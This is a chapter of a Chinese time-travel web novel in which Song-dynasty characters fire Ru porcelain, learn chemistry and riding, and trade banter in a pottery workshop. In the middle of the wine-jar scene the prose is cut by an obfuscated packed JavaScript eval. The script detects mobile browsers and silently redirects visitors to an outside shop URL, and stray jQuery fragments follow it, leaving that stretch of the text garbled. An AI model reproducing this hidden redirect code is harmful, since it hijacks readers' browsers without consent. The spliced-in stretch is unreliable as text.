52. 第52章
作品:《穿越晚清,但队友来自大宋》 水神父比江颂慈早到汝州几日,带着他从广州订购的、用来缩短泥料陈腐时间的水玻璃。
赵清如第一次真切地感受到在大陆那一头的西方文明带来的冲击力,他们的宗教信仰于她而言毫无吸引力,但对于他们推动生产力进步的知识,她产生了一种近乎痴迷的渴求感。
从前的她只是熟练地掌握了各个环节的烧制技艺,可这个漂洋过海而来的洋人虽然并不通晓她的技法,可他却为她讲解了为什么汝瓷会是天青色的——因为汝釉中含有少量的氧化铁,三价铁被还原为二价铁后,便呈现出了青绿色调。
科学世界的大门在她面前轰然洞开。她像个初临人世的孩童,如饥似渴地汲取着每一个全新的概念。神父还带来了一摞洋文书籍,熟悉的字母与陌生的元素符号交织在一起,为她拆解着这个世界运行的底层逻辑,诉说着万物何以存在的终极答案。
在等待泥料陈腐的这段时间里,三人各忙各的:赵清如忙着搭建窑炉、培训匠人,连吃饭都在工地上;宋槐安找了个镖师教自己练骑马,每天都在和马斗智斗勇;赵清之则是两耳不闻窗外事,把脑袋往画纸里一扎,就再也抬不起来了。
这日,赵清之画得手腕发酸,搁下笔歇口气。瞥见姐姐赵清如案头摊着本没合的厚书,他随手抽过来翻了几页,满页都是曲里拐弯的字母,看着跟鬼画符似的。
他心里好奇姐姐最近在捣鼓什么,想起宋槐安屋里有本翻得卷边的英文词典,便抱来对着查。谁知查了三四个词,竟没一个能对上的。正耷拉着脑袋打算把书塞回去,刚练完骑马回来的宋槐安打他身边走过,一身淡淡的尘土和青草气,两个脸颊被晒得通红。
“你这词典是不是不全啊?怎么好多词都查不到?”他随口抱怨了一句。
宋槐安凑过来瞥了一眼他手里的书,又扫了两行字,忽然噗嗤一声笑了:“你拿英语词典查德语资料?能查到才真是见鬼了。”
赵清之愣了一下,眼睛瞪得圆圆的:“啊?这是德语?你会德语吗?我看着是英文的字母啊。”
“别闹,我哪会啊?”宋槐安摆了摆手,“我英语都学得半吊子,哪敢碰更难的德语?我巴不得全世界都跟我一起说中国话呢。是以前大学有门通识课,老师是德国留学回来的,提过几句最基础的。这两种语言看着像,大部分字母写法确实一样,但还是有几个特殊的。”她伸出手指,点了点书页上那些头顶着小点点的字母。
赵清之又指着另一处,皱着眉头追问:“那这个鬼画符尾巴上怎么还贴了俩补丁?又是哪国的洋文?”
宋槐安顺着他的指尖看去,目光刚落在Na?SiO?上,两眼一黑。曾经被化学支配的恐惧瞬间回笼,也没人说都穿越了还得学化学啊。
她连连摆手,示意让赵清之把书拿远点,知识的光只会烫伤她。她有气无力地回答道:“盆友,那是化学式。”
“化学式?”赵清之眨了眨眼,又戳了戳右下角的2和3,“那这俩补丁是干嘛的?我姐桌上堆了一沓纸,上面好多这种补丁,补丁和补丁还不一样,密密麻麻的。”说着就从旁边抽了几张皱巴巴的草稿纸递过来。
宋槐安随手翻了两页,除了化学方程式,还有一些数学演算。听到问题后,她猛地抬起头,脱口而出道:"不是?你不识数吗?"
话刚出口她就猛地拍了下额头,瞬间垮下脸蔫头耷脑:“对不起,我的错我的错,怪我怪我,跟你待久了总恍惚觉得咱们是一代人,完全忘了你其实是个活了快八百年的老头子。”
赵清之一下子就支棱起来了:“欸欸欸,怎么说话呢!谁是老头子?论年纪,明明是你更老吧?”
宋槐安双手抱臂,下巴一抬,满脸得意:“哦?是吗?我可是踩着二十一世纪零点钟声出生的人,千禧年生人,标准00后懂吗?2000年1月1日0时0分,分秒不差,我宋槐安问世了。您呢?让我算算,您应该是公元112……1121年生人?那你比我大多少呢?嗯,您今年高寿差不多七百七十多岁,比我大七百七十多岁。失敬失敬,老爷爷!我要是把您拐回我们那边,都得先给您办张终身免费的敬老卡,坐公交逛公园全免单那种。”
“宋槐安!”赵清之气得瞪眼,“七百多岁那能叫爷爷吗?那叫妖精!你们建国后不是不许成精的吗?还敬老卡?以你那掉钱眼里的性子,我早被你发卖去博物馆,按人头收参观门票了吧?”
宋槐安伸手摸了摸他没有头发的前半拉脑袋,一本正经地叮嘱道:“好的,妖精爷爷!我认可你的提议,你可得好好护着你这头发啊,真秃了我可卖不上价了。”
赵清之忽然一拍大腿,抓到了盲点:“哎不对啊,同样都是宋朝来的,凭什么我姐识数?老实交代,是不是你偷偷教的?你什么意思?背着我单独开小灶是吧?”
宋槐安头摇得像拨浪鼓:“这回真不是我!再说了,这有什么奇怪的?对那种求知欲爆棚的天才来说,课本就在那里,她们那种人自学些阿拉伯数字,不跟你随手画个火柴人一样简单?”
赵清之听得啧啧称奇,摸着下巴一脸敬畏:“如果聪慧是我们家基因的话,我为什么没遗传到?这对吗?我看该进博物馆被人参观的根本不是我,是我姐这种非人类物种。”
宋槐安却摇着手指连说三个“No、No、No”,她望着桌上密密麻麻的演算草稿,眼神里带着点复杂的佩服:“在我们那,你姐这种人不该待在博物馆,她天生就该去另一个地方大杀四方。”
赵清之下意识接了句脑子里为数不多的洋文:“Where?”
“高考考场。”
x
初秋的第一场雨,终于在赵清如望了无数次的檐角落了下来。
宋槐安早便好奇她这份异乎寻常的期盼。她总觉得赵清如这人像块温凉的玉,对什么都淡淡的,连说话的语速都永远平稳如一,仿佛世间万事都掀不起她眼底半分波澜。算来算去,也只有刚认识那会儿,她执意要送走那个孩子的时候,才露过一丝近乎执拗的急切。
宋槐安问她是不是喜欢秋天,赵清如望着远处被雨雾打湿的国槐树顶,声音里难得掺了点极淡的暖意:“也不是,只是因为入秋第一场秋雨落下后,是一年里烧汝瓷最好的时辰。”
宋槐安愣了愣,随即恍然大悟:“还有这讲究?我还以为只要泥料釉料配得对,什么时候烧都一样呢。我说前几日瞧着窑场里样样都备齐了,柴也劈得整整齐齐,就是迟迟不见点火,原来是在等这场雨。”
赵清如:“倒不是对季节有讲究,主要是对温度和湿度有要求。汝窑有三不烧——天热不烧、天冷不烧、刮大风不烧。至于为什么有三点要求呢?因为汝瓷天青色的形成依赖于极其精准的二次窑变的过程,而夏季气温高、气压低,窑内一氧化碳难以充分积聚,还原气氛不足,釉色容易偏黄或偏灰。冬季呢,则是因为温度低,坯体容易上冻,烧制后会出现缩釉和开裂现象,同时低温会影响窑温上升速度和稳定性。再说大风,风会导致窑内氧含量剧烈波动,还原气氛不匀实,同时外界灰尘容易被吸入窑内,落在釉面上形成瑕疵……所以这样综合下来,在汝州这个地界,一年中最符合要求的季节就是秋天。”
宋槐安听得直打哈欠,一边哼着“天青色等烟雨,而我在等你”,一边拍了拍赵清如的肩膀,语重心长地说道:“如姐,我错了,其实你还是挺适合进博物馆的——当解说员。”
赵清如被这没头没脑的话砸得一愣,茫然地吐出一个字:“啊?”
外头雨丝缠缠绵绵落个不停,宋槐安今天不用去练习骑马。说来惭愧,她这人学什么都慢半拍,尤其碰上个需要协调性的运动,那学习过程活脱脱就是一部早期人类艰难驯化四肢的纪录片。
她特意请来的马术老师,是当地镇远镖局的女镖师邓剑娥。此人年近四十,不仅马术冠绝全城,性子更是出了名的雷厉风行。有一回邓剑娥押着镖车冒雨归来,宋槐安亲眼见她勒住受惊的马,翻身跃上马背的飒爽英姿,当下就铁了心要拜她为师。
她遇到的是位严师,其实她并不信奉“严师出高徒”这个原则,严师的压迫感通常只会让她重燃做一名退堂鼓表演艺术家的心愿。如果不是赵清如没时间,她会毫不犹豫地选择赵清如教自己,毕竟就算太笨气到她了,她也骂不出脏话。
这段日子她学骑马的笨拙,早把老师的耐心耗得一干二净。好在老师从不骂她,只是说出口的话,比劈头盖脸一顿骂还让人如坐针毡。
她刚踩上马镫就手忙脚乱,整个人绷得像根拉满的弓。老师说:“你不用紧张,马比你紧张,它身价比你贵。哦对了,你小心点,别被它发现你其实不会骑马了,这匹马可机灵,它最爱捉弄不会骑马的人了。”
当她整个人僵直地坐在马背上时,老师说:“别担心,你不会掉下来的,你放松点。就算掉下来,马也会躲开你的,它怕你砸到它。”
当她掌握不好打浪的节奏时,老师说:“打浪不是让你在上面坐弹簧,你一颠一颠的,马都快被你颠出腰椎间盘突出了。”
当马受惊失控时,她却慌得忘了拉缰绳,老师好不容易控制住马后对她说:“怎么,缰绳烫手吗?还是你怕把马拉疼了?你放心,它和你一样厚脸皮。”
当她结束了训练下马后却忘了松开手里的缰绳,老师问她:“你是打算牵它去西天取经吗?那你应该走不了十万八千里,这是匹老马了,它半路就会因为受不了你的骑术跑回来找我。”
所以忽然遇到雨天,不用去上课,宋槐安居然生出了一种劫后余生的喜悦感。
她去了窑场,在那里她有个这段时间相处下来关系还不错的拉坯师李师傅,她会在他闲暇的时候请教一些拉坯上的基础问题,她想亲手做一个花瓶出来,哪怕形状不规整也没关系,反正是留给自己做纪念的。
到时候投进窑炉里和那些完美的瓶瓶罐罐一起烧,自己也算搭上顺风车了。赵清之听说后也来凑热闹,他说要亲手做一只笔筒。
拉坯是一件看老师傅做极其享受的事,泥土仿佛在他的手中进行着一场舞蹈,一曲舞罢,一只形状完美的杯盏就成型了。可真轮到他们两个外行自己动手,却是一个赛一个的狼狈。
哪怕轮盘的转速已经很低了,他们也总容易溅泥,泥料在手中就好像有自己的想法,实在难以控制,更别说捏出一个固定形状了。
好在经过一段时间手与泥的磨合,他们也终于有了一点心得。定不住中心,泥团越转越歪是因为手臂悬空、力度不均、泥团太软;拔高时坯体断裂,是因为一次拉太高、力度太大、泥料太干;坯体壁厚不均,是因为双手不在同一水平面、力度忽大忽小……
宋槐安总算捏出了人生第一件陶瓷成品,是只粗陋版的玉壶春瓶——瓶肚倒还周正,圆滚滚的颇显饱满,唯独瓶颈歪歪扭扭,活脱脱一副歪脖子模样。
赵清之做的笔筒造型简单,除了筒壁厚薄不均、摸上去坑坑洼洼外,乍看之下竟还算规整。
李师傅特意给他们留了不少泥料,扔着不用未免辜负人家一番好意。两人对视一眼,当即一拍即合,打算合手做一件像样的东西。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560883|204174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
凑在一处嘀咕了半晌,最后敲定做个肚大口小的酒坛,正好带回去存酒。
待那只圆滚滚的酒坛终于成型时,宋槐安蹲在泥坯前,盯着自己的杰作傻乐,仿佛眼前不是个粗陶酒坛,是什么稀世珍宝一般。赵清之在一旁看了她半晌,悄悄攥了把湿泥,放轻脚步绕到她身后,抬手就往她干净的脸颊上拍了一道泥印,得手后转身就跑。
宋槐安愣了愣,抬手一摸满手湿泥,气得跳脚,指着他的背影高声骂道:“赵清之!你是不是有病?这又不是生日蛋糕,你往人脸上糊什么呢?有本事别跑!”
她也立刻抄起一团软泥追了上去,两人围着作坊里的陶车、泥案兜起了圈子,俨然又是一出秦王绕柱。老匠人们都放下了手里的坯刀和转轮,倚着木架乐呵呵地看着这对年轻人打闹,连李师傅也捋着胡子笑出了声。
赵清之身形高挑又脚步轻快,宋槐安追了半天也只在他下巴上蹭了几点泥星子。她见实在追不上,只得气鼓鼓地收了手,蹲在水盆边发愁,琢磨着怎么擦掉脸上快干的泥才不会伤着皮肤。
她一边用指尖沾着水轻轻蹭,一边愤愤地嘟囔:“赵清之,你给我等着,明天我要是被这泥闷出痘来,长一颗我就揍你一下。”
赵清之这才猛然想起她皮肤一向敏感,暗自懊恼方才一时手欠。他连忙凑过去赔笑认错,又小心翼翼地沾了点清水,试着帮她处理眼下那块已经结了薄壳的泥印,生怕力道重了弄疼她。宋槐安见他这副低声下气的模样,心里的气虽未消,嘴上的抱怨也渐渐停了。
赵清如取来一只拇指大的冰纹琉璃小瓶,里面盛着半瓶淡粉透亮的液体,说是自己配的卸面药水。她上妆的次数很少,所以这瓶药配了大半年也没动过几回。
赵清之拿过软毛刷蘸了药水,极轻地一点点将宋槐安脸上干结的泥垢溶开拭去。底下的皮肤果然闷得通红一片,连颧骨处都泛着刺目的红印,他连忙连声赔不是。
见宋槐安还鼓着腮帮子冲他翻白眼,他忽然从怀里摸出一双叠得方方正正的手套递过去,低声道:“喏,这个给你。练骑马的时候戴,既挡日头又护着手,不会磨出茧子。”
宋槐安接过来展开一看,是双灰鼠色的素缎手套,触手柔滑微凉,针脚细密得几乎看不出拼接痕迹。腕口处用银白与浅绿的绒线绣着一串垂枝槐花,花瓣层层叠叠带着自然的弧度,连花萼上的细绒毛都绣得清清楚楚,逼真到仿佛此时若有一阵轻风刮过,便像要簌簌落下一般。
“这是哪家铺子的手艺?绣得竟这样好!快把地址告诉我,我走之前定要多囤几双带回去。”
赵清之闻言顿时扬起下巴,眼底漫开几分平日里惯有的狡黠得意,晃了晃自己指尖还沾着点丝线余绒的右手:“哼,这可是有钱也买不到的稀罕物。手套是我亲手裁的布、缝的边,这槐花也是我对着那棵老槐树上的槐花先画下来,然后一针一线绣的,天底下独一份,再没第二双了。”
宋槐安眼睛瞪得溜圆:“啥玩意?你绣的?你居然还会绣花?哪学的手艺啊?”
赵清之下巴抬得更高了,语气里满是藏不住的得意:“是我师父教的。不过是指尖上的功夫,比画山水皴法容易多了,我悟性好,学了三日便上手了。”
宋槐安最见不得他这副尾巴翘上天的模样,当即又把手套推回他面前,梗着脖子道:“哼,你送我我就得收?我什么也不带,难道就骑不了马了?”
赵清之好容易才把涌到嘴边的笑意压下去:“别吧,还是收下吧。下次马再受惊失控,至少记得拉缰绳,有了这个手就不痛了。”
宋槐安的脸腾地一下红到了耳根,又羞又气。这事她连赵清如都没好意思提,他怎么会知道?邓镖师嘴最严,断不可能到处乱说,难不成是他自己撞见的?
她当即把疑惑问出口,赵清之却只慢悠悠靠在椅背上,端起茶盏抿了一口,语气悠闲得像在说今天的天气:“也没什么。不过是之前傍晚,我去后山写生,路过那个小山丘,正巧看见两个人在练骑马。其中有个穿月白衫的笨蛋,不知怎么惊了马,抱着马脖子尖叫,活像被踩了尾巴的猫。偏生马术又烂得离谱,若不是旁边的镖师出手快,恐怕早摔断了腿,在家躺个十天半月了。”
“你!你居然偷看我骑马!”宋槐安猛地一拍桌子站起来,气得腮帮子都鼓了,“你不好好在家画你的画,跑到后山看我出丑做什么?”
“什么叫偷看?”赵清之挑眉看她,一脸理直气壮,“我那是关心你的学习进度。就算是个孩子,在马背上待这么久也该学会策马了。怎么有的成年人,还天天跟马较劲呢?我看你实在是朽木难雕,不如拜我为师,我勉为其难收你这个徒弟,包你半个月就能策马狂奔。”
“得了吧!”宋槐安翻了个大大的白眼,“你那叫骑马吗?你那是跟马比谁更疯。上次你骑着马从街上冲过去,差点撞到人家卖糖葫芦的摊子,我可不想学你那不要命的骑法。”
说罢,宋槐安一把抓起桌上的手套,怒气冲冲地往外走。赵清之看着她气呼呼的背影,忍不住低笑出声,正准备伸手擦去脸上沾的一点泥渍,就见刚走出去的人又一阵风似的折了回来。
他刚要开口问她怎么又回来了,没有头发的前半拉脑袋就结结实实挨了一下。冰凉的泥浆顺着他的额角往下流,糊了他半张脸,连眉毛和鼻尖上都沾了不少黄褐色的泥点。
宋槐安叉着腰站在门口,看着他狼狈不堪的样子,笑得直不起腰。临走前还不忘叮嘱道:“出门避着点人走昂,不然泥浆的这个颜色,人家准以为你跌茅坑里了。”

